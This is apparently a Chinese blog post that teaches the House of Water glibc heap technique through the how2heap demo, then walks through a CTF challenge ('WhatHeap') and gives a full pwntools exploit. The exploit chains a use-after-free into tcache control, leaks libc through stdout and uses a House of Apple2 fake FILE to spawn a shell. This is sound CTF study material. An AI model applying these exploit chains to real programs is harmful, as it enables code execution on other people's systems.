House of Water
说实话,因为之前大一一直在一个人学pwn,闭门造车,导致一堆板子题都无从下手。这次被大佬带着打这个比赛的初赛,才知道有这么一个技术。于是下定决心要学会这个技术。
概述
这个技术由 Blue Water 提出,对这个技术的描述如下
House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache metadata control primitive, with the added benefit of obtaining a free libc pointer in the t-cache metadata as well. NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will contain 4 bits of randomness. If you can increment integers, no brutefore is required. By setting the count of t-cache entries 0x3e0 and 0x3f0 to 1, a "fake" heap chunk header of size "0x10001" is created. This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked address entries, enabling the creation of a fully functional fake unsorted-bin entry. The correct size should be set for the chunk, and the next chunk's prev-in-use bit must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values should be written. Finally, due to the behavior of allocations from unsorted-bins, once t-cache metadata control is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer to be ready for allocation as well.
Technique / house by @udp_ctf - Water Paddler / Blue Water这里大概翻译一下,是这样的
House of Water 是一种将释放后使用(Use-After-Free, UAF)漏洞转换为 t-cache元数据控制原语的技术,同时还能获得在 t-cache 元数据中的免费 libc 指针这一额外好处。
注意:如果原语是写入原语,这需要进行 4 位暴力破解,因为最低有效位(LSB)将包含4 位随机性。如果你可以递增整数,则不需要暴力破解。
通过将 t-cache 条目 0x3e0 和 0x3f0 的计数设置为 1,可以创建一个大小为"0x10001" 的"伪造"堆块头。
这个伪造的堆块头恰好位于 0x20 和 0x30 t-cache 链接地址条目的上方,从而能够创建一个功能完整的伪造 unsorted-bin 条目。
必须为该块设置正确的大小,并且下一个块的 prev-in-use 位必须为 0。因此,需要从伪造的 t-cache 元数据块+0x10000 位置写入适当的值。
最后,由于从 unsorted-bins 进行分配的行为特性,一旦获得了 t-cache 元数据控制权,还可以将 libc 指针插入到元数据中。这使得 libc 指针也可以准备好用于分配。
技术/house 由 @udp_ctf - Water Paddler / Blue Water 开发如果到这样还不太能看懂,也问题不大。我们接下来就把它的整个攻击流程扒出来
前置条件 & 特殊点
该技术的前置条件为
- 程序存在 UAF 漏洞
- 程序可以申请足够大的堆块
其技术的特殊点在于,该技术完全不需要泄露内存地址,也不需要堆的溢出。
其最终的效果是在 tcache 上留下一个 libc 相关的地址,并能够将其申请出来
攻击目标
在程序开始运行,并遇到第一个 malloc 时, main_arena就会开始初始化。
在 libc 2.31+ 的环境下,程序默认会分配一个 0x290 的内存大小对 tcache_perthread_struct 结构体,该结构体会存储 tcache 链表中不同大小的 chunk 的个数,及最后进入链表的 chunk 的 data 地址。
其源码如下
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */typedef struct tcache_perthread_struct{ uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;这个技术就是通过申请一个 0x3e0的堆块,和一个 0x3f0 的堆块来伪造一个 0x10001 size 的堆块头,再通过一些操作,在 tcache_perthread_struct 的 entries中留下一个 libc 的地址,从而让我们能够申请到 libc 上的内存
Demo
这里我直接使用 how2heap 的示例作为 Demo
#include <stdio.h>#include <stdlib.h>#include <assert.h>
int main(void) { void *_ = NULL;
setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);
void *fake_size_lsb = malloc(0x3d8); void *fake_size_msb = malloc(0x3e8);
free(fake_size_lsb); free(fake_size_msb);
// This is just to make a pointer to the t-cache metadata for later. void *metadata = (void *)((long)(fake_size_lsb) & ~(0xfff));
void *x[7]; for (int i = 0; i < 7; i++) x[i] = malloc(0x88);
void *unsorted_start = malloc(0x88); _ = malloc(0x18); // Guard chunk void *unsorted_middle = malloc(0x88); _ = malloc(0x18); // Guard chunk void *unsorted_end = malloc(0x88); _ = malloc(0x18); // Guard chunk
_ = malloc(0xf000); void *end_of_fake = malloc(0x18);
*(long *)end_of_fake = 0x10000;
*(long *)(end_of_fake+0x8) = 0x20;
for (int i = 0; i < 7; i++) free(x[i]);
*(long*)(unsorted_start-0x18) = 0x31;
free(unsorted_start-0x10); // Create a fake FWD
*(long*)(unsorted_start-0x8) = 0x91;
*(long*)(unsorted_end-0x18) = 0x21;
free(unsorted_end-0x10); // Create a fake BCK
*(long*)(unsorted_end-0x8) = 0x91;
free(unsorted_end);
free(unsorted_middle);
free(unsorted_start);
*(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80);
*(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80);
// Next allocation *could* be our faked chunk! void *meta_chunk = malloc(0x288);
assert(meta_chunk == (metadata+0x90));
}Step1
首先 b 21
此时bins是这样的

我们这时候看 tcache_perthread_struct

框住的部分即为free 0x3e0及0x3f0 后发生的变化
我们可以看到,在地址 0x555555559088的位置伪造出了一个 0x10001的 fake size。这个数值就可以直接作为我们后面构建的 fake chunk 的size。也就是说,我们可以通过这个值构建一个 fakechunk,而我们只要free这个fake chunk,就能够让其进入 unsorted bin,从而在 tcache_perthread_struct 上留下 libc 地址。接下来,我们就只需要去申请相应的chunk就能够拿到 libc 的地址的 chunk了。
Step2
我们接下来 b 39,也就是打在对 end_of_fake的 fd及bk修改完之后
这是我们使用heap -v查看

可以看到,此时以及将对应的chunk的fd及bk写成了 0x10000及 0x20
我们这么做,是为了绕过所谓 unsorted bin 的检测。保证其 0x10000检测到的是 fake chunk。我们之前想要构建的 fake chunk 的地址为 0x555555559080 开始。
为了让我们的fake chunk合法,我们需要让其在结束时,其下一个 chunk 的 prev_size 位记录的是 0x10000,且存放 size 的 prevInUse 位标记为0。而接下来的操作就是对这个 fake chunk 进行装修
Step3
接下来我们 b 54
中途我们将之前申请的 7 个 0x90 的 chunk 全部 free掉,使得 size 为 0x90 的 tcache填满,以确保之后的 3个 0x90的 chunk 能够顺利进入 unsorted bin。
随后在 unsorted_start及unsorted_end 的上方伪造堆块,并将其释放。
由于堆块进入 tcache 后,其 fd+8的位置会生成一个 key,其作用为检测当前 tcache上是否存在 double free 操作。这个 key的存在会破坏原先的 unsorted_start及unsorted_end 的 size位。我们 47行及 53行的代码就是为了修复 两堆块的 size 位而弄上的。
对于这里小堆块的伪造,我们是直接在 unsorted_start - 0x18 记录为 0x31,以此作为fake chunk 的size位,随后直接释放。
而unsorted_end 我们对其伪造的 fake chunk 的大小为0x20。
这两个大小的fake chunk 的伪造,就是为了装修我们之前在 tcache_perthread_struct弄出的 fake chunk。当我们完成这些装饰后,再去看现在的 fake_chunk 就能发现,现在其已经变成了这样
其原理实际为, 在 tcache_perthread_struct中,偏移0x90为 entires链表的起始地址,其存放的是 0x20大小的、最后进入 tcache 链表的堆块的地址。而0x98记录的为相应的,大小为 0x30的堆块地址
此时 bin 存放情况
Step4
接下来,我们 b 61
中途,我们将 unsorted_end , unsorted_middle , unsorted_start free掉
此时,我们 bin 结构如下

Step5
最后,我们 b 68
期中,我们为了让 tcache_perthread_struct 中的 fake chunk 链入 unsorted bin,在这里将 unsorted_middle 替换为了 fake_chunk,也就是让 unsorted_start的fd指向 fake_chunk,unsorted_end的 bk指向 fake_chunk。这样也就完成了 unsorted bin 上的堆块替换操作
最后的 bin 结构如下

总结
House of water是一种能够在没有内存泄露的情况下,在 tcache链上留下 libc的相关地址的技术,当然,我们在修改 unsorted_start及unsorted_end 的指针,让 fake chunk 链入 unsorted bin 的步骤上进行一个1/16的爆破
自认为该技术主要难点在于伪造并释放 0x30及0x20 的两个 chunk。建议在做题时注重于这个点
2025 华为杯初赛 WhatHeap
这道题没有溢出点,函数功能有 malloc 和 free,无edit和show函数 ,glibc3.39
其漏洞为free后指针未置空,UAF漏洞。
程序申请 chunk 数量 <= 255,size <= 0x888。
因而这个题目几乎就是告诉你利用 House of water 攻击了
我们的思路为 利用 House of Water 得到libc地址;打IO FILE泄露libc;再打 House of apple2 拿到shell。
我们这里因为没有 Edit 和 Show 函数,所以得想办法获得 fake 0x30和 fake 0x20的索引。我这里直接通过切割一个较大的堆块来获得其索引
new(0x600) # 0 new(0x600) # 1 fake 0x30 new(0x600) # 2 new(0x500) # 3 delete(0) delete(1) delete(2) new(0x610) # 4 new(0x500) # 5 unsorted_start delete(4) delete(5) new(0x610, flat([ b'\x00'*0x608, p64(0x31) ]) ) # 6 delete(6) delete(1) new(0x610) # 7 new(0x500) # 8 unsorted_start new(0x6e0) # 9具体的操作可以自己 Debug看一下。
刚开始创建一个 0x610 * 3,即 0x1230的连续空间,之后用 0x500 的堆块防止合并

free掉三个0x610堆块

new一个0x620的堆块,一个0x510的堆块

再全部free

再new一个 0x610的堆块,修改到之前的0x600的位置的size位

再用之前的free掉相应位置,从而成功在 tcache的0x30位置放上其地址

再将之前布置好的全部申请回来

这样就完成了 fake0x30的索引获取以及unsorted_start的初始化
对于 fake 0x20及 unsorted_end也是这么布置的
new(0x600) # 10 new(0x600) # 11 fake 0x20 new(0x600) # 12 new(0x500) # 13 delete(10) delete(11) delete(12) new(0x610) # 14 new(0x500) # 15 unsorted_end delete(14) delete(15) new(0x610, flat([ b'\x00'*0x608, p64(0x21) ]) ) # 16 delete(16) delete(11) new(0x610) # 17 new(0x500) # 18 unsorted_end new(0x6e0) # 19
获得 unsorted_middle 索引
new(0x500) # 20 unsorted_middle new(0x600) # 21根据house of water,在 tcache perthread struct上伪造一个 0x10000的堆块(创建标志位)
new(0x3e8) # 22 new(0x3d8) # 23 delete(22) delete(23)获得tcache的索引,该tcache能修改 fake 0x30和 unsorted_start。(后面还有一个差不多的)
# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x30 和 unsorted_start delete(7) delete(8) new(0x300) # 24 new(0x300-0x20) # 25 new(0x330) # 26 change unsorted_start delete(26) new(0x1e0) # 27
# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x20 和 unsorted_end delete(17) delete(18) new(0x300) # 28 new(0x300-0x20) # 29 new(0x340) # 30 change unsorted_end delete(30) new(0x1d0) # 31此时bins长这样,我们现在的0x340和0x350就是能够分别修改到 unsorted start+fake0x30和unsorted end+fake 0x20的堆块

我们此时通过这两个堆块,修改其size为0x511
new(0x330, flat([b'\x00'*0x18, p64(0x511)]) ) # 32 delete(32) new(0x340, flat([b'\x00'*0x18, p64(0x511)]) ) # 33 delete(33)填充堆块到0x10000,并修改这里 的 fake prev_size 为0x10000 , size 为 0x20
for i in range(36): new(0x500) # 34-69 for i in range(7): new(0x88) # 70-76 new(0x210) # 77 new(0x30,p64(0x10000)+p64(0x20),0x20) # 78提前安排 0x240和0x250进tcache,在后面能够用到
new(0x238) #79 new(0x248) #80 delete(79) delete(80)释放三堆块
delete(18) delete(20) delete(8)修改start的fd及end的bk,让其指向fake chunk
new(0x330, flat([ b'A'*0x10, b'\x00'*8, 0x511, p16(0x0080) ]) ) # 81 delete(81)
new(0x340,flat([ p16(0x0080) ]), 0x28) # 82 delete(82)这里因为不知道heap基地址,所以是一个 概率的爆破
try: new(0x500) # 83 except: io.close() continue这个时候就成功将libc地址拍上了,而且我们能够完全控制tcache,获得我们想要的所有东西,申请到任意地址的内存


将多余的bins申请出来
new(0x500) # 84修改libc地址后四位,使得能够申请到 stdout。这里因为不知道libc基地址,所以也是一个一位爆破,概率是
随后打stdout泄露libc
mask = libc.sym['_IO_2_1_stdout_'] & 0xFFFF new(0x100,p16(mask)) # 85 new(0x100,p16(mask)) # 86 try: new(0x230,p64(0xfbad1800)+p64(0)*3+p16(mask)) # 87 except: io.close() continue
libc_base = 0 try: if io.recvuntil(b'\xad\xfb',timeout=1) == b'': raise ValueError("leak libc error")
libc_base = u64(io.recv(9*4)[-8:]) - libc.sym['_IO_2_1_stdout_'] success(f"Leak_Addr:{hex(libc_base)}") except: io.close() continue
释放tcache 上面的堆块,重新编辑结构体
delete(86)
_io_list_all = libc_base + libc.symbols['_IO_list_all'] wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps'] system_addr = libc_base + libc.symbols['system'] write_addr = libc_base + 0x205000
new(0x100, flat([ 0, _io_list_all, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,write_addr ]) ) # 88打house of apple2
fake_file = house_of_apple2_all_in_one( _IO_wfile_jumps = wfile_jumps, addr = write_addr, # 被你覆写的 FILE 对象地址 RIP = system_addr, ) lg("write_addr")
new(0x330, fake_file) #89
new(0x240, dopk(write_addr)) #90 new(0x20, b'A', 1) #91
choice(5) io.sendline(b'exec /bin/sh 1>&2')最后获得shell

完整exp:
from random import choicesfrom pwn import *
import libcfindimport osimport subprocess
IsDebug = FalseRemote_Setting = "".split()print(Remote_Setting)#Init Spacefile = os.path.realpath('./whatheap')libc = ELF("./rpath/libc.so.6")gdb_plugin = '/home/mindedness/pwn'
#=====================================================
# auto init
elf = ELF(file)484context.binary = elfcontext.os = 'linux'
if Remote_Setting: io = remote(Remote_Setting[0], int(Remote_Setting[1])) print("Remote Mode") Local = Falseelse: io = process(file) print("Local Mode") Local = True
if IsDebug: context.log_level = 'debug'
def Debug(): pass
if Local: #use ptrace context.terminal = ['wt.exe', 'wsl.exe', '-e']
# context.terminal = ['tmux', 'split-window', '-v', '-t', '0'] # tty_0 = subprocess.check_output([ # 'tmux', 'display-message', '-p', '#{pane_tty}' # ]).decode().strip() # tty_1, pane_id_1 = subprocess.check_output([ # 'tmux', 'split-window', '-h', '-P', '-F', '#{pane_tty} #{pane_id}', 'cat -' # ]).decode().strip().split() # gdb_script = f""" # set context-output {tty_1}
# define hook-quit # shell tmux kill-pane -t {pane_id_1} # end
# rename_import ./.rename # """
gdb_script = """ rename_import ./.rename """ def Debug(): gdb.attach(io, gdbscript=gdb_script) pause() # if os.environ.get("TMUX") == None: # def Debug(): # print("Not in tmux, cannot use Debug().\nPlease run this script in tmux.") # pass
unpk = lambda unpack : b""dopk = lambda dopack : b""
if elf.arch == 'i386': Words = 4 unpk = lambda unpack : u32(unpack.ljust(Words,b'\x00')) dopk = lambda dopack : p32(dopack)elif elf.arch == 'amd64': Words = 8 unpk = lambda unpack : u64(unpack.ljust(Words,b'\x00')) dopk = lambda dopack : p64(dopack)else: Words = int(input("Input Address Byte: "))
success(f"Arch = {elf.arch} || B = {Words}")
# 函数绑定int_to_byte = lambda numbers=0 : str(numbers).encode('utf-8')
sla = lambda rcv, snd: io.sendlineafter(rcv, snd)sl = lambda snd: io.sendline(snd)sa = lambda rcv, snd: io.sendafter(rcv, snd)rcv = lambda num, t=Timeout.default: io.recv(num, t)rcvn = lambda num, t=Timeout.default: io.recvn(num, t)rcu = lambda stop, drop=False, t=Timeout.default: io.recvuntil(stop, drop, t)SHELL = lambda: io.interactive()#=====================================================
#板子def tcache_safelink(target_addr, tcache_addr): return target_addr ^ (tcache_addr >> 12)
def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret payload += p64(0) # rbx be 0x0 payload += p64(1) # rbp be 0x1 payload += p64(jmp2) # r12 jump to payload += p64(arg3) # r13 -> rdx arg3 payload += p64(arg2) # r14 -> rsi arg2 payload += p64(arg1) # r15 -> edi arg1 payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8] payload += b'A' * 56 # junk 6 * 8 + 8 = 56 return payload
def house_of_some_read(read_from, len, _chain): from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000 fake_IO_FILE.fileno = 0 fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_base = read_from fake_IO_FILE._IO_write_ptr = read_from+len fake_IO_FILE.chain = _chain fake_IO_FILE.vtable = libc.sym['_IO_file_jumps'] - 0x8 return bytes(fake_IO_FILE)
def house_of_some_write(write_from, len, _chain): from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE.flags = 0x8000 | 0x800 | 0x1000 fake_IO_FILE.fileno = 1 fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_base = write_from fake_IO_FILE._IO_write_ptr = write_from + len fake_IO_FILE.chain = _chain fake_IO_FILE.vtable = libc.sym['_IO_file_jumps'] return bytes(fake_IO_FILE)
def house_of_apple2_all_in_one(_IO_wfile_jumps, addr, RIP): # 算好偏移直接all in one 总长度0x240 # 0xd8一个_IO_FILE 0xe0一个wide_data """ 调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格 """ payload = b"" # wide_data wide_data_entry = addr + 0xe0 # 0x8 block to before wide_data_vtable_entry = addr + 0xe0 + 0xe0 # offset of wide_data_vtable # main from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE.flags = u64(b" sh 1>&0") fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_ptr = 1 fake_IO_FILE._IO_write_base = 0 fake_IO_FILE.vtable = _IO_wfile_jumps fake_IO_FILE._wide_data = wide_data_entry fake_IO_FILE._lock = wide_data_entry fake_IO_FILE = bytes(fake_IO_FILE) payload += fake_IO_FILE # wide_data 这里只要控制vtable即可 pad = flat([ b'\x00'*0xe0, wide_data_vtable_entry ]) payload += pad # wide_data_vtable """_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C""" payload += p64(RIP)*0x10 return payload
#=====================================================
#Function
def lg(buf): global heap_base global libc_base global target global temp global stack global leak log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def choice(ch = 0): choiceText = b"Your choice >> " sla(choiceText, int_to_byte(ch))
def new(size, content=b'A', offset=None): choice(1) playText = b"do you want to play a game ?(1/0)" sizeText = b"Input the size of your chunk: " contentText = b"Input: " sla(sizeText, int_to_byte(size)) if offset is not None: setOffsetText = b"you can set a offset!" sla(playText, b"1") sla(setOffsetText, int_to_byte(offset)) else: sla(playText, b"0") sla(contentText, content)
def delete(index): choice(2) indexText = b"idx: " sla(indexText, int_to_byte(index))
def show(index): #fake function choice(3) # indexText = b"idx: " # sla(indexText, int_to_byte(index)) # rcu(b"Content: ") pass
def gift(): choice(4)
#=====================================================
#exp
"""这个题目 show 函数无实际功能,edit无溢出点, 有 UAF , 无申请堆块大小限制, libc版本为 2.39-0ubuntu8.6因而,我们的思路就是利用 house of water 控制 tcache,后利用 IO_FILE 泄露 libc 地址,再用 house of apple 获得 shell
"""
"""该题目难点在于,无edit函数,只有add,因而"""
while True: io = process(file) context.log_level = "Info" new(0x600) # 0 new(0x600) # 1 fake 0x30 new(0x600) # 2 new(0x500) # 3 delete(0) delete(1) delete(2) new(0x610) # 4 new(0x500) # 5 unsorted_start delete(4) delete(5) new(0x610, flat([ b'\x00'*0x608, p64(0x31) ]) ) # 6 delete(6) delete(1) new(0x610) # 7 new(0x500) # 8 unsorted_start new(0x6e0) # 9
new(0x600) # 10 new(0x600) # 11 fake 0x20 new(0x600) # 12 new(0x500) # 13 delete(10) delete(11) delete(12) new(0x610) # 14 new(0x500) # 15 unsorted_end delete(14) delete(15) new(0x610, flat([ b'\x00'*0x608, p64(0x21) ]) ) # 16 delete(16) delete(11) new(0x610) # 17 new(0x500) # 18 unsorted_end new(0x6e0) # 19
# 获取 unsorted_middle 的索引 new(0x500) # 20 unsorted_middle new(0x600) # 21
# 伪造 fake unsorted chunk (size、fd、bk) new(0x3e8) # 22 new(0x3d8) # 23 delete(22) delete(23)
# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x30 和 unsorted_start delete(7) delete(8) new(0x300) # 24 new(0x300-0x20) # 25 new(0x330) # 26 change unsorted_start delete(26) new(0x1e0) # 27
# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x20 和 unsorted_end delete(17) delete(18) new(0x300) # 28 new(0x300-0x20) # 29 new(0x340) # 30 change unsorted_end delete(30) new(0x1d0) # 31
new(0x330, flat([b'\x00'*0x18, p64(0x511)]) ) # 32 delete(32) new(0x340, flat([b'\x00'*0x18, p64(0x511)]) ) # 33 delete(33)
# 在后面填充堆块 for i in range(36): new(0x500) # 34-69 for i in range(7): new(0x88) # 70-76
new(0x210) # 77 new(0x30,p64(0x10000)+p64(0x20),0x20) # 78 # 提前让 0x240、0x250 两个大小的堆块进入到 tcache,后面会用上 new(0x238) #79 new(0x248) #80 delete(79) delete(80) # 依次释放 unsorted_end、unsorted_middle、unsorted_start delete(18) delete(20) delete(8)
# 令 unsorted_start 的 fd 指针和 unsorted_end 的 bk 指针指向 fake unsorted chunk new(0x330, flat([ b'A'*0x10, b'\x00'*8, 0x511, p16(0x0080) ]) ) # 81 delete(81)
new(0x340,flat([ p16(0x0080) ]), 0x28) # 82 delete(82)
success("Try to House of water") try: new(0x500) # 83 except: io.close() continue
# 将多余的 largebin 申请出来 new(0x500) # 84
success("try to use IO_FILE leak address") context.log_level = "Debug"
# 修改libc地址后四位,使得能够申请到 stdout。这里的概率是 1/16 mask = libc.sym['_IO_2_1_stdout_'] & 0xFFFF
new(0x100,p16(mask)) # 85 new(0x100,p16(mask)) # 86
try: new(0x230,p64(0xfbad1800)+p64(0)*3+p16(mask)) # 87 except: io.close() continue
libc_base = 0 try: if io.recvuntil(b'\xad\xfb',timeout=1) == b'': raise ValueError("leak libc error")
libc_base = u64(io.recv(9*4)[-8:]) - libc.sym['_IO_2_1_stdout_'] except: io.close() continue # context.log_level = "Info" lg("libc_base")
success("House of Apple 2") # 释放 tcache_perthread_struct 上的堆块,使我们能够再次编辑该结构体 delete(86)
_io_list_all = libc_base + libc.symbols['_IO_list_all'] wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps'] system_addr = libc_base + libc.symbols['system'] write_addr = libc_base + 0x205000
new(0x100, flat([ 0, _io_list_all, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,write_addr ]) ) # 88
fake_file = house_of_apple2_all_in_one( _IO_wfile_jumps = wfile_jumps, addr = write_addr, # 被你覆写的 FILE 对象地址 RIP = system_addr, ) lg("write_addr")
new(0x330, fake_file) #89
new(0x240, dopk(write_addr)) #90 new(0x20, b'A', 1) #91
choice(5) io.sendline(b'exec /bin/sh 1>&2') # Debug() io.interactive() break部分信息可能已经过时

